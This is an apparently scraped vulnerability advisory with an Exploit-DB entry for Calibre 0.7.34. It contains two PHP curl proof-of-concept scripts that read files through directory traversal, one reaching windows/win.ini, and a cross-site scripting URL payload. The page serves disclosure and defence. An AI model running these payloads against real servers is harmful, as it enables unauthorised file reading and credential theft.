Calibre Cross-Site Scripting and Directory Traversal Vulnerabilities

vendor:

Calibre

by:

Unknown

7.5

CVSS

HIGH

Cross-Site Scripting and Directory Traversal

CWE

Product Name: Calibre

Affected Version From: 0.7.34

Affected Version To: Unknown

Patch Exists: NO

Related CWE: Unknown

CPE: a:calibre:calibre:0.7.34

Metasploit:

Other Scripts:

Platforms Tested:

Unknown

Calibre Cross-Site Scripting and Directory Traversal Vulnerabilities

The Calibre software is prone to a cross-site scripting vulnerability and a directory-traversal vulnerability due to insufficient sanitization of user-supplied input. Exploiting these vulnerabilities allows an attacker to execute arbitrary script code in the browser of an unsuspecting user and view arbitrary local files and directories within the context of the webserver. This can lead to the theft of authentication credentials and other sensitive information, which can be used to launch further attacks.

Mitigation:

To mitigate these vulnerabilities, ensure that user-supplied input is properly sanitized before using it in any context. Implement input validation and filtering mechanisms to prevent the execution of malicious code. Additionally, restrict access to sensitive files and directories to prevent unauthorized access.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/45532/info

Calibre is prone to a cross-site scripting vulnerability and a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues will allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, and to view arbitrary local files and directories within the context of the webserver. This may let the attacker steal cookie-based authentication credentials and other harvested information may aid in launching further attacks.

Calibre 0.7.34 is vulnerable; other versions may also be affected. 

<?php
error_reporting(E_ALL);
$url = "http://www.example.com/static/../jquery.simulate.js";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$resp = curl_exec($ch);
curl_close($ch);
echo $resp;
?> 

<?php
error_reporting(E_ALL);
$url = "http://www.example.com/static/../../../../windows/win.ini.";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$resp = curl_exec($ch);
curl_close($ch);
echo $resp;
?>

http://www.example.com/browse/search?query=<script>alert('waraxe')</script>